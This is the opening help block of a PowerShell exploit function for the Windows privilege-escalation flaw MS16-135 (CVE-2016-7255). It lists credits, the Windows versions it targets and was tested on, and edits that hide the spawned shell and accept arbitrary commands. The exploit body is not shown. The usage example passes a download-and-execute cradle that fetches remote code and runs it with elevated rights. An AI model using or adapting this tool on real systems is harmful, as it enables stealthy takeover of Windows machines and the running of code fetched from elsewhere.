function Invoke-MS16135 {
<#
.SYNOPSIS
PowerShell implementation of MS16-135 (CVE-2016-7255).
Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro
Credit for the original PoC : TinySec (@TinySecEx)
Credit for the Powershell implementation : Ruben Boonen (@FuzzySec)
Targets:
* Win7-Win10 (x64 only)
Successfully tested on :
* Win7 x64
* Win8.1 x64
* Win10 x64
* Win2k12 R2 x64
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
EDIT: This script has been edited to include a parameter for custom commands and
also hides the spawned shell. Many comments have also been removed and echo has
moved to Write-Verbose. The original can be found at:
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1
.EXAMPLE
C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
